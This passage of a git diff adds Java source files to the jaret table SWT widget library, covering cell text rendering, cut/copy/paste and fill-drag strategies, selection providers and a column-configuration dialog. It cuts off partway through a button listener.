+ gc.setForeground(fg); + gc.setBackground(bg); + gc.setFont(font); + if (s != null) { + if (selected && !printing) { + gc.setBackground(SELECTIONCOLOR); + } else { + gc.setBackground(getBackgroundColor(cellStyle, printing)); + } + gc.setForeground(getForegroundColor(cellStyle, printing)); + gc.setFont(getFont(cellStyle, printing, gc.getFont())); + + drawCellString(gc, rect, s, cellStyle); + if (s.indexOf("we") != -1) { + TextLayout textLayout = new TextLayout(gc.getDevice()); + textLayout.setText(s); + textLayout.setFont(gc.getFont()); + textLayout.setWidth(rect.width); + Color color = new Color(gc.getDevice(), 150, 100, 100); + Font font2 = new Font(gc.getDevice(), gc.getFont().getFontData()[0].getName(), gc.getFont() + .getFontData()[0].getHeight(), SWT.ITALIC); + TextStyle style = new TextStyle(font2, color, null); + for (int i = 1; i < s.length(); i++) { + int j = indexOf(s, "we", i, false); + if (j != -1) { + textLayout.setStyle(style, j, j + 3); + } else { + break; + } + + } + gc.fillRectangle(rect); + textLayout.draw(gc, rect.x, rect.y); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + } + } + } + + public int indexOf(String srcStr, String str, int index, boolean isCaseSensitive) { + if (index == 0) { + return -1; + } + if (index == 1) { + if (isCaseSensitive) { + return srcStr.indexOf(str); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase()); + } + } + if (isCaseSensitive) { + return srcStr.indexOf(str, indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase(), + indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } + } + /** + * Draw the string. + * + * @param gc gc + * @param rect drawing area + * @param s String to drw + * @param cellStyle the cell style + */ + private void drawCellString(GC gc, Rectangle rect, String s, ICellStyle cellStyle) { + if (cellStyle.getMultiLine()) { + drawCellStringMulti(gc, rect, s, cellStyle); + } else { + drawCellStringSingle(gc, rect, s); + } + } + + /** + * Draw single line String. + * + * @param gc gc + * @param rect drawing area + * @param s String to draw + */ + private void drawCellStringSingle(GC gc, Rectangle rect, String s) { + gc.drawString(s, rect.x, rect.y + 10, true); + } + + /** + * Draw a String in the drawing area, splitting it into multiple lines. + * + * @param gc gc + * @param rect drawing area + * @param s String to draw + * @param cellStyle cell style determing alignment + */ + private void drawCellStringMulti(GC gc, Rectangle rect, String s, ICellStyle cellStyle) { + int halign = TextRenderer.LEFT; + if (cellStyle.getHorizontalAlignment() == ITableViewState.HAlignment.RIGHT) { + halign = TextRenderer.RIGHT; + } else if (cellStyle.getHorizontalAlignment() == ITableViewState.HAlignment.CENTER) { + halign = TextRenderer.CENTER; + } + int valign = TextRenderer.TOP; + if (cellStyle.getVerticalAlignment() == ITableViewState.VAlignment.BOTTOM) { + valign = TextRenderer.BOTTOM; + } else if (cellStyle.getVerticalAlignment() == ITableViewState.VAlignment.CENTER) { + valign = TextRenderer.CENTER; + } + + TextRenderer.renderText(gc, rect, true, false, s, halign, valign); + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column) { + Object value = convertValue(row, column); + Font font = gc.getFont(); + int height = -1; + if (value != null) { + String s = value.toString(); + gc.setFont(getFont(cellStyle, false, gc.getFont())); + height = TextRenderer.getHeight(gc, getInnerWidth(width, cellStyle), true, s); + } + gc.setFont(font); + return height + getVerticalSpacesSum(cellStyle); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + // nothing to dispose + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + return new TextCellRenderer(printer); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/package.html new file mode 100644 index 0000000..aa4e767 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/package.html @@ -0,0 +1,17 @@ + +

    +This package contains renderers for the jaret table. +

    +

    +The renderers should support printing (but need not). See the interface for details. +

    +

    +It is quite useful to extend RendererBase since it contains some useful methods to support printing (scaling from screen to printer +resolution) and for border painting (see below). +

    +

    +Border painting: CellRenderes are responsible for painting their borders. The clipping rect will always be one pixel wider +and one pixel higher tha the drawing area, thus allowing to paint a complete border with widht 1. However, if the border becomes thicker +the cell renderer has to use the space of the cell. Most probably it is the best to use the method for borer painting supplied by RendererBase. +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/checked.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/checked.gif new file mode 100644 index 0000000..2773249 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/checked.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/package.html new file mode 100644 index 0000000..377040c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/package.html @@ -0,0 +1,8 @@ + +

    +This package WILL contain a flexible custom drawn table widget. +

    +

    +THIS IS WORK IN PROGRESS! +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_down.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_down.gif new file mode 100644 index 0000000..00b0f06 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_down.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_up.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_up.gif new file mode 100644 index 0000000..9df7de9 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/smallarrow_up.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/unchecked.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/unchecked.gif new file mode 100644 index 0000000..749bfdb Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/resource/unchecked.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultCCPStrategy.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultCCPStrategy.java new file mode 100644 index 0000000..21035d1 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultCCPStrategy.java @@ -0,0 +1,254 @@ +/* + * File: DefaultCCPStrategy.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.strategies; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.StringTokenizer; + +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IJaretTableCell; +import de.jaret.util.ui.table.model.IJaretTableSelection; + +/** + * Default implementation for cut, copy, paste. See the the description of the methods for details. The implementation + * is not yet perfect. It uses "brutal" String conversions. May be it would best to introduce converter services in the + * table model (optional) or use methods in renderers or editors for conversion. + * + * @author Peter Kliem + * @version $Id: DefaultCCPStrategy.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultCCPStrategy implements ICCPStrategy { + /** Delimiter used when copying. */ + private static final String COPY_DELIMITER = "\t"; + /** Delimiters for separating fields in paste operations. */ + private static final String PASTE_DELIMITERS = "\t;"; + + /** Clipboard instance. */ + private Clipboard _clipboard; + /** If set to true header labels will always included in copies. */ + private boolean _includeHeadersInCopy = false; + + /** + * Aquire clipboard. + * + * @return Clipboard instance + */ + private synchronized Clipboard getClipboard() { + if (_clipboard == null) { + _clipboard = new Clipboard(Display.getCurrent()); + } + return _clipboard; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_clipboard != null) { + _clipboard.dispose(); + } + } + + /** + * Do the copy operation using the constant COPY_DELIMITER. Empty lines will be omitted, missing cels will be empty. + * + * @param table jaret table the operation is invoked on + */ + public void copy(JaretTable table) { + cutOrCopy(table, false); + } + + /** + * Do the cut operation. Basicly a a copy and a empty operation. + * + * @param table jaret table the operation is invoked on + */ + public void cut(JaretTable table) { + cutOrCopy(table, true); + } + + /** + * Do the actual copy or cut operation. + * + * @param table table + * @param cut if set to true cells we be emptied + */ + protected void cutOrCopy(JaretTable table, boolean cut) { + IJaretTableSelection selection = table.getSelectionModel().getSelection(); + Clipboard cb = getClipboard(); + if (!selection.isEmpty()) { + Set cells = selection.getAllSelectedCells(table.getTableModel()); + int minx = -1; + int maxx = -1; + int miny = -1; + int maxy = -1; + // line is the outer map + Map> cellMap = new HashMap>(); + for (IJaretTableCell cell : cells) { + Point p = table.getCellDisplayIdx(cell); + Map lineMap = cellMap.get(p.y); + if (lineMap == null) { + lineMap = new HashMap(); + cellMap.put(p.y, lineMap); + } + if (miny == -1 || p.y < miny) { + miny = p.y; + } + if (maxy == -1 || p.y > maxy) { + maxy = p.y; + } + lineMap.put(p.x, cell); + if (minx == -1 || p.x < minx) { + minx = p.x; + } + if (maxx == -1 || p.x > maxx) { + maxx = p.x; + } + } + StringBuilder buf = new StringBuilder(); + if (_includeHeadersInCopy) { + for (int x = minx; x <= maxx; x++) { + String headerLabel = table.getColumn(x).getHeaderLabel(); + buf.append(headerLabel); + buf.append(COPY_DELIMITER); + } + buf.append("\n"); + } + for (int y = miny; y <= maxy; y++) { + Map lineMap = cellMap.get(y); + // empty lines are ommitted + if (lineMap != null) { + for (int x = minx; x <= maxx; x++) { + IJaretTableCell cell = lineMap.get(x); + String value = null; + if (cell != null) { + Object val = cell.getColumn().getValue(cell.getRow()); + value = val != null ? val.toString() : null; + if (cut) { + emptyCell(cell); + } + } + if (value != null) { + buf.append(value); + } + buf.append(COPY_DELIMITER); + } + buf.append("\n"); + } + } + TextTransfer textTransfer = TextTransfer.getInstance(); + cb.setContents(new Object[] {buf.toString()}, new Transfer[] {textTransfer}); + } + } + + /** + * Empty the given cell. First try null, if an exception is thrown by the modell try the empty string. + * + * @param cell cell to be emptied + */ + protected void emptyCell(IJaretTableCell cell) { + try { + cell.getColumn().setValue(cell.getRow(), null); + } catch (Exception e) { + try { + cell.getColumn().setValue(cell.getRow(), ""); + } catch (Exception ex) { + // ignore + } + } + } + + /** + * Paste pastes textual context starting at the focussed cell (does not use the selection by now). Uses TAB and + * semicolon as delimiters (Excel uses TAB, semicolon for pasting csv). + * + * @param table the jaret table + */ + public void paste(JaretTable table) { + Clipboard cb = getClipboard(); + + TextTransfer textTransfer = TextTransfer.getInstance(); + Object content = cb.getContents(textTransfer); + if (content != null) { + if (content instanceof String) { + String string = (String) content; + List lines = new ArrayList(); + StringTokenizer tokenizer = new StringTokenizer(string, "\n"); + while (tokenizer.hasMoreTokens()) { + lines.add(tokenizer.nextToken()); + } + Point focus = table.getFocussedCellIdx(); + if (focus == null) { + table.setFocus(); + focus = table.getFocussedCellIdx(); + } + int lineOff = 0; + for (String line : lines) { + tokenizer = new StringTokenizer(line, PASTE_DELIMITERS, true); + int colOff = 0; + String last = null; + while (tokenizer.hasMoreTokens()) { + String value = tokenizer.nextToken(); + boolean ignore = false; + if (PASTE_DELIMITERS.indexOf(value) != -1) { + // delimiter + if (last != null && last.equals(value)) { + value = ""; + } else { + ignore = true; + } + } + if (!ignore) { + try { + table.setValue(focus.x + colOff, focus.y + lineOff, value); + } catch (Exception e) { + // silently ignore -- this can happen + } + + colOff++; + } + last = value; + } + lineOff++; + } + } + } + } + + /** + * Retrieve the state of header include in the copied content. + * + * @return the includeHeadersInCopy + */ + public boolean getIncludeHeadersInCopy() { + return _includeHeadersInCopy; + } + + /** + * Set includeHeaders: if set to true in copy and cut context the headline (=col headers) labels will be included. + * + * @param includeHeadersInCopy the includeHeadersInCopy to set + */ + public void setIncludeHeadersInCopy(boolean includeHeadersInCopy) { + _includeHeadersInCopy = includeHeadersInCopy; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultFillDragStrategy.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultFillDragStrategy.java new file mode 100644 index 0000000..b6ab14e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/DefaultFillDragStrategy.java @@ -0,0 +1,43 @@ +/* + * File: DefaultFillDragStrategy.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.strategies; + +import java.util.List; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IJaretTableCell; + +/** + * Defaut implementation of a fill drag strategy: simply copy the content. + * + * @author Peter Kliem + * @version $Id: DefaultFillDragStrategy.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultFillDragStrategy implements IFillDragStrategy { + + /** + * {@inheritDoc} + */ + public void doFill(JaretTable table, IJaretTableCell firstCell, List cells) { + Object value = firstCell.getColumn().getValue(firstCell.getRow()); + for (IJaretTableCell cell : cells) { + // check whether destination cell is editable + if (table.getTableModel().isEditable(cell.getRow(), cell.getColumn())) { + try { + cell.getColumn().setValue(cell.getRow(), value); + } catch (Exception e) { + // whatever happens -- ignore it + } + } + } + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/ICCPStrategy.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/ICCPStrategy.java new file mode 100644 index 0000000..9dae34d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/ICCPStrategy.java @@ -0,0 +1,48 @@ +/* + * File: ICCPStrategy.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.strategies; + +import de.jaret.util.ui.table.JaretTable; + +/** + * Interface describing the strategies used for Cut, Copy and Paste. + * + * @author Peter Kliem + * @version $Id: ICCPStrategy.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ICCPStrategy { + /** + * Do the cut operation. + * + * @param table table the operation should be performed on + */ + void cut(JaretTable table); + + /** + * Do the copy operation. + * + * @param table table the operation should be performed on + */ + void copy(JaretTable table); + + /** + * Do the paste operation. + * + * @param table table the operation should be performed on + */ + void paste(JaretTable table); + + /** + * If there is something to dispose ... most probably the clipboard instance. + * + */ + void dispose(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/IFillDragStrategy.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/IFillDragStrategy.java new file mode 100644 index 0000000..db11b56 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/IFillDragStrategy.java @@ -0,0 +1,33 @@ +/* + * File: IFillDragStrategy.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.strategies; + +import java.util.List; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IJaretTableCell; + +/** + * Interface describing a stragey used when cells should be filled after a fill drag. + * + * @author Peter Kliem + * @version $Id: IFillDragStrategy.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IFillDragStrategy { + /** + * Do a fill operation fro the first cell to the other cells. + * + * @param table table requesting the operation + * @param firstCell originating cell + * @param cells cells to be filled + */ + void doFill(JaretTable table, IJaretTableCell firstCell, List cells); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/package.html new file mode 100644 index 0000000..ba98b76 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/strategies/package.html @@ -0,0 +1,5 @@ + +

    +This package contains some strategy interfaces and default implementations for the jaret table. +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/AbstractSelectionProvider.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/AbstractSelectionProvider.java new file mode 100644 index 0000000..8fbb6cf --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/AbstractSelectionProvider.java @@ -0,0 +1,157 @@ +/* + * File: AbstractSelectionProvider.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util; + +import java.util.List; +import java.util.Vector; + +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableCell; +import de.jaret.util.ui.table.model.IJaretTableSelectionModelListener; +import de.jaret.util.ui.table.model.IRow; + +/** + * Abstract base for an ISelectionProvider based on a jaret Table. + * + * @author Peter Kliem + * @version $Id: AbstractSelectionProvider.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public abstract class AbstractSelectionProvider implements ISelectionProvider, IJaretTableSelectionModelListener { + /** jaret table the selection provider listens to. */ + protected JaretTable _table; + /** list of ISelection listeners. * */ + protected List _selectionChangeListeners; + + /** + * Contruct an abstract selection provider. + * + * @param table JaretTable to listen to + */ + public AbstractSelectionProvider(JaretTable table) { + _table = table; + _table.getSelectionModel().addTableSelectionModelListener(this); + } + + // ///////////// ISelectionProvider + + /** + * {@inheritDoc} + */ + public synchronized void addSelectionChangedListener(ISelectionChangedListener listener) { + if (_selectionChangeListeners == null) { + _selectionChangeListeners = new Vector(); + } + _selectionChangeListeners.add(listener); + } + + /** + * {@inheritDoc} + */ + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + if (_selectionChangeListeners != null) { + _selectionChangeListeners.remove(listener); + } + } + + /** + * {@inheritDoc} + */ + public void setSelection(ISelection selection) { + setISelection(selection); + } + + /** + * {@inheritDoc} + * Retrieve an IStructuredSelection of the current selection (will contain rows, columns and cells). + */ + public ISelection getSelection() { + return getISelection(); + } + + /** + * Override this method to return an ISelectiobn appropriate for the intended use. + * + * @return ISelection + */ + protected abstract ISelection getISelection(); + + /** + * Override this method to set a selection on the table based on an ISelection. + * + * @param selection ISelection to be set. + */ + protected abstract void setISelection(ISelection selection); + + /** + * Inform listeners about a change of selection. + */ + private void fireSelectionChanged() { + SelectionChangedEvent event = new SelectionChangedEvent(this, getSelection()); + if (_selectionChangeListeners != null) { + for (ISelectionChangedListener listener : _selectionChangeListeners) { + listener.selectionChanged(event); + } + } + } + + // ////////// IjaretTableModeSelectionListener + + /** + * {@inheritDoc} + */ + public void rowSelectionAdded(IRow row) { + fireSelectionChanged(); + } + + /** + * {@inheritDoc} + */ + public void rowSelectionRemoved(IRow row) { + fireSelectionChanged(); + } + + /** + * {@inheritDoc} + */ + public void cellSelectionAdded(IJaretTableCell cell) { + fireSelectionChanged(); + } + + /** + * {@inheritDoc} + */ + public void cellSelectionRemoved(IJaretTableCell cell) { + fireSelectionChanged(); + } + + /** + * {@inheritDoc} + */ + public void columnSelectionAdded(IColumn column) { + fireSelectionChanged(); + } + + /** + * {@inheritDoc} + */ + public void columnSelectionRemoved(IColumn column) { + fireSelectionChanged(); + } + + // //// end ISelectionProvider + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/DefaultSelectionProvider.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/DefaultSelectionProvider.java new file mode 100644 index 0000000..ac8e16c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/DefaultSelectionProvider.java @@ -0,0 +1,73 @@ +/* + * File: DefaultSelectionProvider.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.StructuredSelection; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableCell; +import de.jaret.util.ui.table.model.IJaretTableSelection; +import de.jaret.util.ui.table.model.IRow; + +/** + * Default implementation of a SelectionProvider based on the jarettable. This will simply put rows, columns and cells in + * a structured selection. + * + * @author Peter Kliem + * @version $Id: DefaultSelectionProvider.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultSelectionProvider extends AbstractSelectionProvider { + + /** + * Create a default selection provider. + * + * @param table JaretTable providing the selection + */ + public DefaultSelectionProvider(JaretTable table) { + super(table); + } + + /** + * {@inheritDoc}. Returns a structured selection containig rows and columns and cells that have been selected. + */ + @SuppressWarnings("unchecked") + protected ISelection getISelection() { + IJaretTableSelection selection = _table.getSelectionModel().getSelection(); + if (selection != null && !selection.isEmpty()) { + List list = new ArrayList(); + for (IRow row : selection.getSelectedRows()) { + list.add(row); + } + for (IColumn col : selection.getSelectedColumns()) { + list.add(col); + } + for (IJaretTableCell cell : selection.getSelectedCells()) { + list.add(cell); + } + StructuredSelection sselection = new StructuredSelection(list); + return sselection; + } + return new StructuredSelection(); + } + + /** + * {@inheritDoc} + */ + protected void setISelection(ISelection selection) { + // TODO Auto-generated method stub + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/ConfigureColumnsAction.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/ConfigureColumnsAction.java new file mode 100644 index 0000000..dda0a87 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/ConfigureColumnsAction.java @@ -0,0 +1,340 @@ +/* + * File: ConfigureColumnsAction.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util.action; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.eclipse.jface.action.Action; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.viewers.CheckboxTableViewer; +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.jface.viewers.IStructuredContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.ITableViewState; + +/** + * Action for configuring column display. Showing a dialog to reorder and change the visibility of rows. The action can + * be parametrized to disallow manipulating the positions and visibility of fixed columns. The table will be + * manipoulated instantly. Values will be saved to allow cancelling the configuration. + * + * @author Peter Kliem + * @version $Id: ConfigureColumnsAction.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class ConfigureColumnsAction extends Action { + /** table the action is operating on. */ + protected JaretTable _table; + /** the table viewstate. */ + protected ITableViewState _tvs; + /** checkbox table viewer used to display the columns. */ + protected CheckboxTableViewer _chkBoxViewer; + /** saved order for doing a proper cancel operation. */ + protected List _saveOrder; + /** saved visibility for the columns for proper cancel action. */ + protected Map _saveVisibility; + /** if true fixed columns can be shifted or changed in visibility. */ + protected boolean _allowFixedColumns; + + /** + * Construct the action. + * + * @param table table to operate on + * @param allowFixedColumns if true fixed columns can be changed in visibility and position (moving them out of the + * fixed position) + */ + public ConfigureColumnsAction(JaretTable table, boolean allowFixedColumns) { + setTable(table); + _allowFixedColumns = allowFixedColumns; + } + + /** + * Construct the action (allowFixedColumns defaults to true). + * + * @param table table to operate on + */ + public ConfigureColumnsAction(JaretTable table) { + this(table, true); + } + + /** + * Set the table to operate on. + * + * @param table table + */ + public void setTable(JaretTable table) { + _table = table; + _tvs = _table.getTableViewState(); + } + + /** + * {@inheritDoc} + */ + public void run() { + save(); + + Dialog confColsDialog = new Dialog(Display.getCurrent().getActiveShell()) { + @Override + protected Control createDialogArea(Composite parent) { + return createColumnControlPanel(parent); + } + + }; + int result = confColsDialog.open(); + if (result == Dialog.CANCEL) { + restore(); + } + } + + /** + * Save the current properties of the viewstate. + */ + private void save() { + _saveOrder = new ArrayList(); + _saveOrder.addAll(_tvs.getSortedColumns()); + _saveVisibility = new HashMap(); + for (int i = 0; i < _table.getTableModel().getColumnCount(); i++) { + IColumn col = _table.getTableModel().getColumn(i); + _saveVisibility.put(col, _tvs.getColumnVisible(col)); + } + } + + /** + * Restore viewstate to previously saved state. + */ + private void restore() { + _tvs.setSortedColumns(_saveOrder); + for (int i = 0; i < _table.getTableModel().getColumnCount(); i++) { + IColumn col = _table.getTableModel().getColumn(i); + boolean visible = _saveVisibility.get(col); + _tvs.setColumnVisible(col, visible); + } + + } + + /** + * {@inheritDoc} + */ + public String getText() { + return "Configure columns"; + } + + /** + * Create the dialog area. TODO can be done much nicer ... but works for the first draft + * + * @param parent parent composite + * @return initialized control + */ + private Control createColumnControlPanel(Composite parent) { + Composite panel = new Composite(parent, SWT.NULL); + panel.setLayout(new RowLayout()); + + Label l = new Label(panel, SWT.NULL); + l.setText("Configure the columns"); + + Table table = new Table(parent, SWT.CHECK | SWT.MULTI | SWT.FULL_SELECTION | SWT.BORDER | SWT.V_SCROLL); + _chkBoxViewer = new CheckboxTableViewer(table); + _chkBoxViewer.setContentProvider(new ColTableContentProvider()); + _chkBoxViewer.setLabelProvider(new ColTableLabelProvider()); + + TableColumn column = new TableColumn(_chkBoxViewer.getTable(), SWT.LEFT); + column.setText("Column"); + column.setWidth(100); + + _chkBoxViewer.getTable().setHeaderVisible(true); + _chkBoxViewer.setInput("x"); + + final int firstColIdx = _allowFixedColumns ? 0 : _table.getFixedColumns(); + + for (int i = 0; i < _table.getTableModel().getColumnCount(); i++) { + IColumn col = _table.getTableModel().getColumn(i); + _chkBoxViewer.setChecked(col, _tvs.getColumnVisible(col)); + } + + table.getColumn(0).pack(); + + table.addListener(SWT.Selection, new Listener() { + public void handleEvent(Event event) { + if (event.detail == SWT.CHECK) { + TableItem item = (TableItem) event.item; + IColumn col = (IColumn) item.getData(); + int idx = _tvs.getSortedColumns().indexOf(col); + if (_allowFixedColumns || idx >= _table.getFixedColumns()) { + _tvs.setColumnVisible(col, item.getChecked()); + } else { + _chkBoxViewer.setChecked(col, _tvs.getColumnVisible(col)); + } + } + } + }); + + Button upButton = new Button(panel, SWT.PUSH); + upButton.setText("up"); + upButton.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent arg0) { + if (_chkBoxViewer.getTable().getSelectionCount() > 0) { + TableItem item = _chkBoxViewer.getTable().getItem(_chkBoxViewer.getTable().getSelectionIndex()); + IColumn col = (IColumn) item.getData(); + int idx = _tvs.getSortedColumns().indexOf(col); + if (idx > firstColIdx) { + _tvs.getSortedColumns().remove(col); + _tvs.getSortedColumns().add(idx - 1, col); + _table.updateColumnList(); + _table.redraw(); + _chkBoxViewer.refresh(); + } + } + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + } + + }); + Button downButton = new Button(panel, SWT.PUSH); + downButton.setText("down"); + downButton.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent arg0) { + if (_chkBoxViewer.getTable().getSelectionCount() > 0) { + 